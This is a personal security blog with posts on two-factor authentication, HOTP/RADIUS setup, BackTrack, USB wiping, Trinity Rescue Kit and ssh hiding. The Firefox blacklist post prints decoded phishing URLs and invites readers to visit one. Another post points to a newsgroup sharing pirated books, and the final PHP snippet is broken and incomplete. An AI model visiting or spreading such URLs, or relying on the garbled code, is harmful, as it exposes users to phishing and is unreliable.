Security on OiePoie!

Veilig inloggen dankzij Fido U2F

Sat, 24 Jan 2015 12:26:30 +0100

Faillissement

2014 was voor mij het jaar van het faillissement van username/password authenticatie. Zoals altijd lekten er honderduizenden wachtwoorden uit, maar ook testen met phishing toonden aan dat ongeveer een kwart van de mensen hier in trapt.
Aan de andere kant krijgen we steeds meer accounts op websites, steeds vaker gaan we bestellen bij webwinkels, je bestaat niet als je niet meedoet aan allerlei social media platformen, enzovoorts. Ik gebruik zelf LastPass (aanrader!) als hulpmiddel om al die wachtwoorden te managen en daar zitten nu al ruim 200 accounts in. Zonder zo’n password manager betekent dat dus dat je een paar wachtwoorden hebt die je op tientallen websites gebruikt. Maar als dat wachtwoord dan op straat komt te liggen, ligt ook de toegang tot al die websites in één keer open (niet goed!).

één of twee factoren?

De(?) oplossing voor veilig inloggen ligt in het gebruik van zogenaamde 2-factor authenticatie. Dat betekent over het algemeen dat je niet alleen inlogt met iets wat alleen jij weet (je wachtwoord), maar daarbij ook nog iets wat alleen jij hebt. Als dan je wachtwoord wordt gehackt kan daar nog steeds niet mee ingelogd worden omdat ze niet dat “ding” hebben wat ook nodig is om in te loggen. Omgekeerd geldt dat ook, mijn “ding” zit aan mijn sleutelbos. Als ik die verlies dan kunnen ze nog steeds niet als mij inloggen want ze weten mijn wachtwoord niet.
Die tweede factor kan ook biometrie zijn, dus een vingerafdruk zijn of een scan van je iris (die mooie kleuren in je oog), maar daar gaan we het nu niet over hebben.

Het Ding

Goed, we hebben iets nodig wat niemand anders heeft. Dat kan bijvoorbeeld een app op je smartphone zijn die iedere minuut een andere code maakt. De gratis app Google Authenticator is hier een voorbeeld van. Het maakt iedere minuut een andere code aan en die type je dan over als extra wachtwoord. Een andere optie met je smartphone is via SMS, je logt ergens in met username & password en krijgt dan via SMS de extra code die je nog moet ingeven om het inloggen te voltooien.
Dit zijn beide methodes die veiliger zijn dan alleen inloggen met je wachtwoord.

Een andere optie is met een “ding” of in vaktaal een “token”. Dit was tot voor kort kostbaar en niet gestandaardiseerd. Ieder bedrijf koos voor een ander token en je moest die dingen uitdelen en er ook voor zorgen dat ze weer terug kwamen, want ze waren veel geld waard. Sinds kort zijn een aantal grote Internet bedrijven bij elkaar gekomen om een universeel token te bedenken. Het idee is dat je als consument één keer zo’n token koopt of krijgt en daar vervolgens op veel sites gebruik van kan maken. Dat is de Fido Alliance. Het Fido token is een soort USB memory stick die je op de bekende manier in de computer schuift en die een voor jou unieke code aanmaakt. Voordeel is al dat je die code niet over hoeft te typen en alle computers hebben tegenwoordig wel USB. Er zijn er twee op de markt, eentje van Yubico en eentje van Plug-Up. Die van Yubico is wat duurder, maar wel steviger en er zit een soort tiptoets op. De security key van Plug-Up komt als creditcard binnen en daar moet je nog een flapje ombuigen om ‘m geschikt te maken voor gebruik in USB. De Plug-Up key is wel erg goedkoop, als je hem bij Amazon in Duitsland besteld ligt hij een tijdje later voor 8 euro in je bus. De Yubico key kost inclusief verzendkosten 20,50 euro bij Amazon.

Werking

Op dit moment werken deze twee keys alleen nog maar in Google Chrome en kan je ze gebruiken om bijvoorbeeld je Google mail account extra mee te beschermen. Dat is een goed idee, want behalve dat het je mail beschermt is dat email adres waarschijnlijk ook ingesteld bij andere accounts die je hebt om daar je wachtwoord te herstellen als je het vergeten bent.
Als je ingelogd bent in Google kan je onder je account instellingen 2-step authentication aanzetten. Op de Yubico pagina staat een filmpje dat je in anderhalve minuut laat zien hoe dat moet. Daarna krijg je bij het inloggen op google voortaan na het invoeren van username en wachtwoord een scherm dat vraag om de 2e stap met je secure key te voltooien.
Google twee stap authenticatie. Het werkt bijna hetzelfde voor beide keys, bij de Yubikey moet je de tiptoets nog aanraken, bij de Plug-up key is dit niet nodig.
Dus een investering van 8 euro en een paar minuten van je tijd en daarmee kan je een stuk veiliger het Internet op.

Stay Safe & have fun!

Business continuity voor thuis

Sun, 09 May 2010 16:41:24 +0200

Januari 2010 was er een grote stroomstoring in de bollenstreek waar ik woon: stroomstoring bollenstreek na 4 uur voorbij. Het hele dorp was donker en thuis was ook alle elektriciteit weg. Door de uitval van de elektriciteit werkt ook de verwarming niet, vaste telefonie deed het niet (ik heb internet telefonie van Ziggo), TV en Internet was niet beschikbaar, maar ook mobiele telefonie (in ieder geval het netwerk van KPN) was uitgevallen.

Nu hebben we wel een voorraad waxinelichtjes in huis en zijn we ook de gelukkige bezitters van een open haard, dus licht en warmte was snel geregeld. Een transistor radio was er ook, maar natuurlijk waren de batterijen leeg. Gelukkig zijn er altijd genoeg reserve batterijen in huis vanwege alle gadgets die daarvan afhankelijk zijn. Helaas hadden we de frequentie van de regionale zender niet op de radio geplakt, dus die konden we niet vinden.
Wat namelijk je eerste behoefte is bij zo’n incident, is informatie.
Wat is er gebeurd, hoe groot is het gebied dat getroffen is, hoe lang gaat het duren.
De normale informatiebronnen (TV en Internet) werken niet meer, je kan niet terugvallen op telefoneren en dan blijft er nog maar weinig over behalve dat transistor radiootje. Als je trouwens geen transistor radio in huis hebt (en een nieuwe set batterijen erbij) dan is de autoradio natuurlijk ook een erg goede optie. Maar zorg wel dat je de frequentie van de regionale omroep bij de hand hebt. Het beste is eigenlijk een lijstje met alle frequenties van de regionale omroepen plastificeren en bewaren in je auto, dan heb je er ook wat aan als je eens een midweekje in een huisje op de hei zit.

Communicatie kan nog een grotere behoefte zijn dan informatie. Een van die handige kaarsjes die je aan hebt gestoken kan het huis in lichterlaaie zetten en dan is het toch handig als je de brandweer kan bellen (maar zorg zelf altijd voor blusmiddelen om zelf een beginnende brand de baas te kunnen worden, een poederblusser en een blusdeken kosten niets en kunnen een ramp voorkomen en zorg dat je weet hoe deze middelen te gebruiken). Of je struikelt in het donker en valt van de trap, hoe gaan we nu een ambulance bellen?
In dit specifieke geval was het incident opgeschaald naar “GRIP 4”, dit is het maximale niveau en betekent onder andere, politieburo, brandweerkazerne en gemeentehuis worden bemand. Politieauto’s rijden met zwaailicht aan langzaam door de straten zodat ze aangesproken kunnen worden voor hulpvragen.
Het enige wat ik nog kan verzinnen is 2 gsm’s van verschillende providers, bv. KPN en Vodafone (let op hiermee, KPN heeft een hoop providers opgekocht en die draaien nu allemaal op hetzelfde KPN netwerk). Als je samenwoont kan het dus handig zijn als je huisgenoten abonnementen afsluiten bij een andere provider, dan heb je dit makkelijk geregeld. Wat weer wel handig is, is als je gsm ook opgeladen is, is hij nl. bijna leeg dan is je enige kans dat je een autolader hebt (en je auto niet net toevallig bij de dealer staat voor de APK).

Als het allemaal te lang duurt en je gaat alvast naar bed voordat de spanning weer terug is, of je stapt in de auto om maar bij vrienden te gaan logeren die niet getroffen zijn door de outage, dan kan het handig zijn om van een aantal apparaten de stekker uit het stopcontact te trekken. Dit heeft twee redenen, ten eerste kunnen bij het inschakelen van de spanning door het energiebedrijf pieken op het net ontstaan die mogelijk je apparatuur kunnen beschadigen. Ten tweede hebben veel apparaten tegenwoordig elektronische aan/uit schakelaars en volumeregelaars. Bij mij knalde de wekkerradio aan op vol vermogen toen de spanning terugkwam. Apparaten met elektronische schakelaars herken je aan de tiptoetsen om ze aan/uit te zetten en tiptoetsen of wieltjes zonder einde voor volume regeling.

Samengevat,

be prepared
zorg voor redundantie
oefen eens een keer (bv. hoofdschakelaar uitzetten
plan for the worst (bv. tegelijkertijd geen stroom en geen water)

Free strong (two factor) authentication using One Time Passwords on your mobile phone

Fri, 02 May 2008 00:18:44 +0200

Authentication is the process by which you verify that someone is who they claim they are. In computerland this mostly involves a secret. By using the secret (for instance a password) in the authentication process Alice (there she is again) proves to Bob that she really is Alice since the secret is coupled to her (digital) identity. This process is as old as the road to Rome.
But not all secrets are as secret as we would like them to be. If i choose the name of my girlfriend as the secret, it might be easily guessed, even by someone who doesn’t know me, but is willing to go through the effort of making a few phone calls. Also secrets can be captured in transit, through shouldersurfing when you log in to the system, etcetera.

The next step in this game is strong authentication a.k.a. two factor authentication, this is where you combine two out of the next three options to prove your identity:

something you know (e.g. password, pin)
something you have (e.g. token, smartcard, cellphone)
something you are (e.g. fingerprint, iris pattern, DNA, voice)

So apart from capturing someones secret, Eve also has to steal the token/smartcard/cellphone or in case of biometrics duplicate your fingerprint/iris in a way the scanner is convinced that it’s still attached to a human being. This doesn’t make it impossible to authenticate as somebody else, it just makes it harder.

One of the problems with strong authentication is that it is expensive. You can get (for instance) an RSA token on a trade fair for free, but when you actually want to use one you have to buy the token and also buy the license for the authentication server that is needed to make it work, this may set you back between $50 – $100 per user.

Another disadvantage is the the cryptographic algorithm used to produce to codes is know only to the company, so you can’t use the RSA token and verify the authentication process to a authentication server of a different vendor. Also nobody can check if the cryptographic principles on with the product is build are sound. Good cryptography is build on open source so anyone can verify the correctness of it’s operation.
Luckily for us there is the Open Authentication Framework (OATH) which led to the definition of the “Hashed Message Authentication Code One Time Password” or HMAC OTP or even more concise HOTP. If you are interested you can read rfc4226 on it’s inner working’s and even build your own implementation.

The next step is to build our own strong authentication system using HOTP. Tri-D systems has an open source One Time Password authentication server available for download. They also sell the tokens to use for authentication, but since we are talking open source HOTP we can look for a company which sells the authentication server and has a (soft) token for free: Data Security Systems Solutions. They provide a free Java Phone Token which can generate the One Time Passwords.

Build Process

goto: http://www.tri-dsystems.com/software/downloads.html
accept license and download otpd-3.1.0.tar.gz & pam_otp_auth-3.2.2.tar.gz

gtar zxvf otpd-3.1.0.tar.gz cd otpd-3.1.0/ ./configure make make install

mkdir /etc/otpstate touch /etc/otppasswd chmod 600 /etc/otppasswd chmod 700 /etc/otpstate mkdir /var/run/otpd touch /var/run/otpd/socket

install oathdsss on your Nokia or Windows Mobile phone
from: http://www.dsssasia.com/token.html
and start the program

First time initialization asks for a label, e.g. SEC
a seed length between 16 … 20 (choose 20)
OTP Length between 6 … 8 (choose 6)

Select Options -> Init
and register the seed displayed:
e.g. 44D060008BF440A2F9FF588AAD537F78B820F200
Now copy the seed to your computer, don’t make any mistakes or it won’t work.
The seed is case insensitive since it’s a hexadecimal number. If you are using a Windows Mobile device, you might have to switch it to landscape to see all the characters, you should see a left and right square bracket.

Do you want to set a PIN to protect the OTP?
Yes (otherwise it wouldn’t be two factor authentication)
Pin: ****
Pin Again: ****

If all goes well oathdsss finishes and when you start it
up again, you will be asked for a PIN and after that the
6 number OTP is displayed together with a countdown timer
running from 60 seconds.

Setting up the OTP server
Enter the generated seed from your cellphone into /etc/otppasswd

cat >> /etc/otppasswd
foo:hotp-d6:44D060008BF440A2F9FF588AAD537F78B820F200

foo is the username, alter it at your convenience
hotp-d6 is the token algorithm, so HOTP with a 6 digit OTP.

Generate two OTP’s from your cellphone and use them with resynctool (this is installed together with the OTP server) to save the state information which the OTP server will need in the authentication process:

resynctool -1 816857 -2 433761 -u foo -k 44D060008BF440A2F9FF588AAD537F78B820F200 > /etc/otpstate/foo

If you look at the contents of /etc/otpstate/foo you should see something like:

5:foo:0000000000000003:::0:0:0:

Due to a bug (i assume) resynctool is not able to work with 7 or 8 figure OTP’s (it will present you with the error message: resynctool: passcode 1 wrong length). There is also a second bug (maybe we should call it an discrepancy). While resynctool writes: 0000000000000003 meaning the first two OTP’s have been used and the next to be presented is number 3, the otp server reads that 0000000000000003 as: the first three OTP’s have been used and the next to be presented is number 4. So change the number back to 0000000000000002 or generate an OTP from you cellphone and don’t use it.

Testing authentication

start up otpd as root in debug mode:

# otpd -D
otpd: otpd 3.1.0 starting
otpd: accept_thread: tid=3086179248

Now generate an OTP from your phone and test it with:

# otpauth -u foo -p 549855 -s /var/run/otpd/socket
0 (ok)

On the otp server you will see:

otpd: accept_thread: plugin accept fd=5
otpd: work_thread: tid=3076053936, fd=5
otpd: work_thread(3076053936,5): handling plugin request for [foo]
otpd: verify: [foo], sync challenge t:0 e:0 0000000000000004, expecting response 549855
otpd: verify: user [foo] authentication succeeded
otpd: work_thread(3076053936,5): plugin disconnect

If you don’t see a 0 (ok) from otpauth, you might get a 3 (authentication error) which means you didn’t present the expected OTP to the server. In the server debug window you will see 5 OTP’s (configurable through /etc/otpd.conf) which the server expects from that user account. Generate another one from you phone an you will immediately see if that one is in the list and will work.
If you get a 5 (service error) there is something wrong with your configuration and you have to fix that first before authentication will work.

You might want to play around a little bit more with the HOTP software to get a grip on how it’s working. An easier way to generate the OTP’s is through a small perl program on your computer. For this you have to install the Authen::HOTP module:

perl -MCPAN -e 'install Authen::HOTP'

And then create this program:
[perl]
#!/usr/bin/perl
use Authen::HOTP qw(hotp);
use strict;

my $secret=”44D060008BF440A2F9FF588AAD537F78B820F200″;
my $counter=$ARGV[1];
my $digits=$ARGV[0];

my $pass = hotp($secret, $counter, $digits);
print “$pass\n”;
[/perl]

Now it’s a easy as:

# ./hotp.pl 6 5
853481

If you got a successful authentication we can proceed to doing something useful with HOTP. Tri-D delivers a pam-otp module which you can use on a local system to replace your standard username/password authentication dialog. But they really recommend using the OTP daemon through RADIUS.
So download freeradius and compile & install:

cd /tmp wget ftp://ftp.freeradius.org/pub/radius/freeradius-1.1.7.tar.bz2 gtar jxvf freeradius-1.1.7.tar.bz2 cd freeradius-1.1.7 ./configure make make install

cd redhat/ cat rc.radiusd-redhat > /etc/init.d/radiusd chkconfig –add radiusd chkconfig –list radiusd radiusd 0:off 1:off 2:off 3:off 4:off 5:off 6:off

On my redhat system i had to modify /etc/init.d/radiusd to read:
RADIUSD=/usr/local/sbin/radiusd
and i had to run ldconfig again or otherwise radiusd would complain about
a missing libradius-1.1.7.so

Modify the radius configuration /usr/local/etc/raddb/radiusd.conf to allow for One Time Passwords:

remove the comment (#) before: $INCLUDE ${confdir}/otp.conf
add otp directly below authorize {
add otp directly below authenticate {

And start otpd and the radius service up:

# otpd
# service radiusd start
Starten van RADIUS server:                                 [  OK  ]

Now we can test OTP authentication through RADIUS with the radtest program:

# ./hotp.pl 6 11 885417

radtest foo 885417 localhost 10 testing123

Sending Access-Request of id 197 to 127.0.0.1 port 1812 User-Name = “foo” User-Password = “885417” NAS-IP-Address = 255.255.255.255 NAS-Port = 10 rad_recv: Access-Accept packet from host 127.0.0.1:1812, id=197, length=20

tail -1 /var/log/messages

May 1 23:25:10 vortex otpd[11395]: verify: user [foo] authentication succeeded

testing123 is the default RADIUS secret for localhost, you MUST change that in:
/usr/local/etc/raddb/clients.conf, the NAS port number (10) is not used.

On my testbox there was no pam_radius_auth module, so:

cd /tmp
wget ftp://ftp.freeradius.org/pub/radius/pam_radius-1.3.17.tar.gz
gtar zxvf pam_radius-1.3.17.tar.gz
cd pam_radius-1.3.17
make
cp pam_radius_auth.so /lib/security/
cat  pam_radius_auth.conf > /etc/raddb/server
chmod go-rwx /etc/raddb/server

Edit /etc/raddb/server to match te secret for localhost in /usr/local/etc/raddb/clients.conf, next add a line in /etc/pam.d/system-auth like this:

auth        required      /lib/security/$ISA/pam_env.so
auth        sufficient    /lib/security/$ISA/pam_unix.so likeauth nullok
auth        sufficient    /lib/security/pam_radius_auth.so try_first_pass
auth        required      /lib/security/$ISA/pam_deny.so

This will allow normal password authentication, but if you are providing an OTP the unix password authentication will fail and the OTP is passed on to the pam_radius_auth module for validation.

You can also use OTP authentication on you Apache webserver by using the mod_auth_radius module.

Have fun!

sources:
Foo Bar Quux
Tri-D QuickStart Guide

Update 20080529
Since it looks like the Tri-D site is offline, i will make my copies of otpd and pam_otp_auth available for download:

BackTrack 3 on a USB stick (ultimate hacker tool on your keychain)

Sun, 09 Mar 2008 15:02:08 +0100

One year (and a bit) ago i wrote a post on how to install Backtrack 2 onto an USB stick. Recently the beta version of BackTrack 3 is released and the guys from BackTrack even made a special version to install on a 1GB USB stick: grab the torrent here.

Among the many uses of BackTrack are:

Penetration Testing
Digital Forensics
Zero Trace usage of a computer (harddisk is untouched)
Wireless sniffing, WEP crack, wardriving, etc.
Listening to SomaFM radio
Cracking various passwords
and much more….

The USB stick version fully utilizes the space available to cram it with tools, a total of 953 MB. Also this version includes a script to make the USB stick bootable, so it’s almost childplay now to make your own hacker toolkit keychain. Here is a step by step howto.

Step 1
Mount a 1GB USB stick. If your system does not automatically mount the filesystem, have a look with dmesg | tail and mount it by hand, e.g.
mkdir FF ; mount /dev/sdc1 /FF
Wipe all info from the stick: rm -rf /FF/* and check there is enough space available:

[root ~]# df -h /FF
Filesystem            Size  Used Avail Use% Mounted on
/dev/sdf1             972M  4.0K  972M   1% /FF

You will need at least 953 MB there.

Step 2
Download BT3 from the torrent or use one of the mirrors to download with your browser, wget, curl, whatever.
Check the checksum with md5sum or sha1sum and if you’re paranoid, use both.

Extract the contents onto the USB stick:

[root ~]# cd /FF
[root /FF]# unrar x /tmp/bt3b141207.rar
[root /FF]# ls -l
drwxrwxr-x 6 root root 4096 2007-12-13 18:50 boot
drwxrwxr-x 7 root root 4096 2007-12-13 18:22 BT3
-rw-rw-r-- 1 root root  284 2007-12-13 19:13 INSTALL.txt

Read the extensive installation information

[root /FF]# more INSTALL.txt USB Install:

Copy the “boot” and “BT3” Directory to the root of your USB device. Under Linux, change directory to the freshly copied /boot directory on the USB device. MAKE sure your’re in the “boot” directory on the USB device! run ./boostinst.sh unmount usb device. Voila.

Step 3
And do the deed:

[root /FF]# cd boot
[root /FF/boot]#./bootinst.sh
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                        Welcome to Slax boot installer                         
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This installer will setup disk /dev/sdc1 to boot only Slax.
Warning! Master boot record (MBR) of /dev/sdc will be overwritten.
If you use /dev/sdc to boot any existing operating system, it will not work
anymore. Only Slax will boot from this device. Be careful!
Press any key to continue, or Ctrl+C to abort…

press return, and:

Flushing filesystem buffers, this may take a while... Setting up MBR on /dev/sdc... The Master Boot Record of /dev/sdc has been updated. Activating partition /dev/sdc1... No partition table modifications are needed. Updating MBR on /dev/sdc... Setting up boot record for /dev/sdc1... Disk /dev/sdc1 should be bootable now. Installation finished.

Read the information above and then press any key to exit…

All that is left to do is reboot your system and boot from the USB stick.
On Dell laptops you might have to press F12 to select the boot medium.

If everything went well, you will be greeted by the boot image:

Have fun & stay safe.

Gratis online boeken over Linux, Programmeren, Security

Fri, 11 Jan 2008 22:56:25 +0100

Eigenlijk is december de maand van de lijstjes, maar ik kwam ergens een lijstje van online Linux boeken tegen, ging op zoek naar andere lijstjes en gratis online boeken en kon het toen toch niet nalaten om een superlijst van gratis boeken te maken.

Nu nog een iLiad of een kindle om al dat online spul eens fatsoenlijk te kunnen lezen.
Tip:Er is ook een nieuwsgroep: alt.binaries.e-book.technical waar veel leuke boeken in worden gepost om te downloaden, maar daar nemen ze het met Copyright niet zo nauw.

completely removing information from an USB stick

Wed, 28 Nov 2007 18:15:46 +0100

Perhaps you have seen those movies where a person is questioned about things from the past. Of course he doesn’t remember all those embarrassing things the interrogator wants to know. Then a hypnotherapist is called in and puts the man under hypnosis and all details come pouring out.
A USB stick acts the same. If you look at it from Windows explorer or you do a mount + ls under Linux you see only the information which is on the surface. But beneath it a lot of other information is often lingering, information which maybe could be embarrassing if it falls into the wrong hands.
The reason for this is that when files are deleted from the USB stick, or from a harddisk for that matter, they not actually wiped. The only thing that happens is that the space is marked free in the File Allocation Table. But as long as this space is not overwritten by new files, the information still remains on the device.
That is why undelete tools can recover files for you.

A potential risk is that when you hand over your thumbdrive to someone for copying info on or of the stick, they might just copy a complete image of the stick to their laptop. There is even a handy program: USBdumper which provides this functionality. Afterwards they can do a forensic analysis of the data, for instance using foremost and see what kind of residual data they can retrieve. On linux you could even do a strings < USBimage.dd to get a quick view.

So how to avoid this risk? If you are on a Windows system, there is a free tool called eraser which securely wipes all residual data of a device. For Linux there are a number of tools, for instance wipe, but it is more fun to do it by hand and know what you are doing.

Let’s say i plug in my USB stick and mount it under: /media/disk
When i execute a df -k it displays how much space is free and therefore the number of bytes of hidden information there possibly are on the stick:

# df -k /media/disk/
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sdb1               249336     60736    188600  25% /media/disk

To completely obliterate all data, we need to overwrite all information with something else. If this were a harddrive, the specialists say you need to overwrite the data a fair number of times with random bytes, otherwise it’s possible that the NSA can still reconstruct the original bits from looking at the magnetic patterns on the disk. But since we are talking microchips here, anything will do. The fastest way would be to read zero’s from /dev/null, but we will use /dev/urandom just for the fun of it 😉

Since there are 188600 blocks of 1 kbyte free, we need to write exactly that amount of data to the USB drive:

# cd /media/disk/ # dd if=/dev/urandom of=rnd.bin bs=1k count=188600 188600+0 records in 188600+0 records out 193126400 bytes (193 MB) copied, 52.3836 s, 3.7 MB/s

df -h .

Filesystem Size Used Avail Use% Mounted on /dev/sdb1 244M 244M 0 100% /media/disk

sync

ls -l

total 188640 drwxr-xr-x 2 root root 4096 2007-11-22 15:39 porn_collection drwxr-xr-x 2 root root 4096 2007-11-21 14:11 passwords -rwxr-xr-x 1 root root 193126400 2007-11-28 15:43 rnd.bin

hexdump -C rnd.bin | head -6

00000000 6b 9d 85 95 6c 41 00 56 30 c5 f4 49 0a 90 ed 5a |k…lA.V0..I…Z| 00000010 54 eb df 6d 4e 53 7a 39 33 a8 21 44 f7 a7 df 61 |T..mNSz93.!D…a| 00000020 6a 33 f6 77 c1 cb d4 46 6e ab 57 0d 28 8e eb 13 |j3.w…Fn.W.(…| 00000030 f3 0d bd 28 eb 96 54 6c 21 ec d9 91 b8 4e ea 50 |…(..Tl!….N.P| 00000040 fa 98 8e 78 0c d0 6c 49 7d 4a c6 b9 37 87 84 21 |…x..lI}J..7..!| 00000050 ad 25 a5 fa 6a 52 62 ff 54 ae 77 ba 9d 45 4d a3 |.%..jRb.T.w..EM.|

That looks alright, since 188600 * 1024 = 193126400 and sync is needed to flush the data from the write cache to the USB disk.
The only thing left to do is remove the random blob again (but now you know that what happens is that the space is marked free in the File Allocation Table and our random bytes remain in place), sync and unmount:

# rm -f rnd.bin
# sync
# cd
# df -k /media/disk/
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sdb1               249336     60736    188600  25% /media/disk
# umount /media/disk

And as you can see we are spacewise exactly where we started from.

Caveat lector! This trick only protects you from somebody recovering deleted information. If you got private files on the stick, use cryptography to protect those. TrueCrypt is a very nice program you can use. If you choose a simple password to access the encrypted files, you might as well use no crypto at all.

Sniffing Google’s blacklist for firefox

Sun, 25 Nov 2007 16:40:05 +0100

Firefox 2 has a new security feature which protects you from entering private data on phishing websites or getting infected with malware on a website which promises you heaven and earth.
Protection is done by comparing the website address (URLagainst a so called blacklist. The blacklist is maintained by the good folks at Google, they take care of updating the blacklist regulary and firefox automagically downloads new versions.
Curious by nature, i wanted to know which websites were in the blacklist, so i took a peek in my .mozilla/firefox/… directory where all the users stuff is stored. The blacklist itself is easy identified by it’s name: urlclassifier2.sqlite and the extension betrays what kind of system is used to store the bad sites: sqlite.

SQLite is actually a database program, but in it’s simplest form. You don’t need to run a database engine and setup permissions, etc. But the complete database is stored into a file. So this is the KIS principle to the max, and it works great as long as the database doesn’t grow to large or to complex.

Next thing to do is fire up sqlite and have a look at the structure of the database:

$ sqlite3  urlclassifier2.sqlite
SQLite version 3.4.2
Enter ".help" for instructions
sqlite> .tables
goog_black_enchash goog_black_url goog_white_domain goog_white_url
sqlite> .schema
CREATE TABLE 'goog_black_enchash' (key TEXT PRIMARY KEY, value TEXT);
CREATE TABLE 'goog_black_url' (key TEXT PRIMARY KEY, value TEXT);
CREATE TABLE 'goog_white_domain' (key TEXT PRIMARY KEY, value TEXT);
CREATE TABLE 'goog_white_url' (key TEXT PRIMARY KEY, value TEXT);

Looks simple enough, the bad sites are probably in: goog_blac_url

qlite> select * from goog_black_url LIMIT 3;
uggc://ybtva.zlfcnpr.psz.shfrnpgvba.hfre.fcynfu.ubzr.zlgbxra.76701n2644n8605.pn0qpor.pbz/vaqrk.cuc|c
uggc://ealfcnprv.pbz/vaqrk.pszshfrnpgvba=ybtva.cebprff&ZlGbxra-wrrqk4r1ssn-s3kg3k2ns0-4r3-sfs3n421-s7goskks3ks231.ugz|c
uggc://eeaelfcnpr.pbz/vaqrk.psz-shfrnpgvba657Qybtva.cebprff8526ZlGbxraf79843964886883084155.ugz|c
sqlite> .quit

Hmm, it turns out that the content is encoded through the famous ROT13 methode. The reason being that the file otherwise might be flagged as harmfull by locally running antivirus software.

So we need a ROT13 decoder, this is easilly done with the unix utility tr and the complete construct snugly fits into a oneliner:

echo "SELECT * FROM goog_black_url LIMIT 3;" | sqlite3 \
urlclassifier2.sqlite | tr N-ZA-Mn-za-m A-Za-z

Which will output something like:

http://login.myspace.cfm.fuseaction.user.splash.home.mytoken.76701a2644a8605.ca0dcbe.com/index.php|p
http://rnyspacei.com/index.cfmfuseaction=login.process&ZyGoken-jeedx4e1ffa-f3xt3x2af0-4e3-fsf3a421-f7tbfxxf3xf231.htm|p
http://rrnryspace.com/index.cfm-fuseaction657Qlogin.process8526ZyGokens79843964886883084155.htm|p

If you’re brave, you might cut ‘n paste one of the URL’s in your firefox browser and see what happens 😉

Caught a virus? Trinity to the rescue!

Sat, 04 Aug 2007 12:45:35 +0200

Last week we detected some PC’s in the network behaving badly. The were sending a massive amount of ping packets to one host on the Internet, so some sort of DoS (Denial of Service) attack. When we investigated the problem there was nog sign of the culprit at first, also McAfee which was installed and running had not detected anything abnormal going on.
What most people do next is load lots of tools on the PC and try to discover the hidden programs responsible for all this havoc. But actually there is a much simpler approach.

Today there is a lot of money to be earned by sending SPAM. But since sending SPAM is illegal in a lot of countries, the challange is to keep sending out these giant amounts of SPAM e-mail without being caught. The way to do this is by “owning” a lot of computers of unaware home users and send the e-mails through these systems. So if a recipient traces back the SPAM e-mail, he only sees the home computer as the source.

To be able to control these computers, the hacker needs to infect them with something that installs a backdoor. The backdoor is the way in for the hacker to control the computer and the program which installs the backdoor is often a trojan named after the trojan horse strategy of the greek.
Such an trojan might be an e-mail with the message that you received a postcard from a friend, neighbor or worshipper. To see the postcard you need to click on a link, and that link contains postcard.exe. Since you are curious by nature, you of course click on the link and execute the postcard program.
You might even see a postcard, but meanwhile a program is covertly installed on your computer and your system becomes a marionette to the hacker.

It is important for the hacker to keep his program hidden, because the longer it stays on your computer, the longer he can make money out of it. A way to hide programs from other programs (like you antivirus) is by using rootkit technology. A rootkit installs itself inside or just above the operating system. If you start the taskmanager to look at all the programs that are running, the taskmanager requests this information from the operating system. But instead of communicating with the OS, it really communicates through the rootkit, and the rootkit filters out it’s own existence when sending back the response from the OS to the taskmanager. So effectively the rootkit is a cloaking device which makes it own existence and the existence of the backdoor invisible.

The simple approach i mentioned to finding this kind of software is by eliminating the Operating System when you look for this kind of hidden software. The way we do that is by booting a different Operating System (known to be clean of rootkits) and from there start our search for the culprits. We even assure that the booted OS can not be infected with malware by running it from a read-only medium (i.e. a cdrom).

Trinity Rescue Kit

There are some other bootable cdrom’s out there with antivirus products on it, but TRK is different in that it supports 4 (four!) different antivirus products and they are all legal versions for you to use. Apart from the antivirus bit, TRK also has these (and more) features:

easily reset windows passwords
4 different virusscan products integrated in a single uniform commandline with online update capability
full ntfs write support thanks to ntfs-3g (all other drivers included as well)
clone NTFS filesystems over the network
wide range of hardware support (kernel 2.6.19.2 and recent kudzu hwdata)
easy script to find all local filesystems
self update capability to include and update all virusscanners
full proxyserver support.
run a samba fileserver (windows like filesharing)
run a ssh server
recovery and undeletion of files with utilities and procedures
recovery of lost partitions
evacuation of dying disks

Start with downloading the TRK iso from: here and burn it on a cdrom, for instance with Nero (here is a good tutorial on how to burn iso’s with Nero).
Put the cdrom in your computer and reboot, when the BIOS kicks in you might need to press a key to get a boot menu and select the cdrom to boot from (on Dell computer, press F12). When you see the TRK boot screen (click on the image for a larger version):

press enter to continue booting the default option. After a lot of text scrolling over your screen you will end up with a prompt, indicating that trinity as ready to obey your commands. To start scanning your computer for viruses, all you have to do is type in:
virusscan -a avg

This will mount all the Windows disks, update the virusscanner to the latest signatures and start scanning. Apart from selecting the AVG virusscanner, you can also choose to use: ClamAV by specifying “clam”, Bitdefender (bde) and F-Prot (fprot). But we had very good results with AVG. Of course if you are really paranoid, you can run them all four sequentially.

For the update to be successfull you will need an Internet connection on the computer. If the computer is detached from the network, you can first boot TRK on a different computer with Internet and then give the command:
updatetrk, this will update all four virusscanners and generate a new iso image from which you can burn a new updated cdrom.

When one of the virusscanners has found something fishy and has deleted of renamed the file, you can reboot Windows and be sure that the rootkit is not operational anymore. It is wise (now you know the name of the malware) to run a targeted removal tool for the malware, because they will clean up the registry as well.

Some other neat thing TRK can do is copy itself to an USB stick so you can boot it from there with trk2usb or start a fileserver so you can access all the disks from an other computer on the same network with: fileserver.
For a complete overview of it’s capabilities, type trkhelp or have a look: here.

Have fun & stay clean…

secure ssh access to your server

Sun, 03 Jun 2007 13:30:26 +0200

Every access to your system is a security threat.

Let’s focus on ssh (Secure Shell).
Even when there is no know security bug for ssh, hackers might have found a way in which they share (or sell) between them and which hasn’t surfaced yet. Even if there is no security bug at all for ssh, access mostly depends on username/password combinations and we all know what a weak system that is, especially when used from untrusted systems.

We can make life a little bit more secure by using a trick.
ssh access is blocked by default using iptables, but by visiting a secret URL on your website ssh access from that ip-address is turned on. You will still need username and password to access the box, but this way portscanners won’t detect an ssh server running.

We will need a little script which extracts the ip-address from the computer which accessed the webpage. The script will generate a 404 Error page (and HTTP 404 Error headers to fool the clever hacker):

[php]
#open the file for writing, suppress errors (remove @ to see errors) if(@$F = fopen("$TMPFILE",“w”)) { #write the ip to the file fputs($F,$IP); #close the file fclose($F); } header(“HTTP/1.1 404 Not Found”); ?>

404 Not Found

Not Found

The requested URL /secret-url.php was not found on this server.

Apache Server at www.yourserver.com Port 80

[/php]

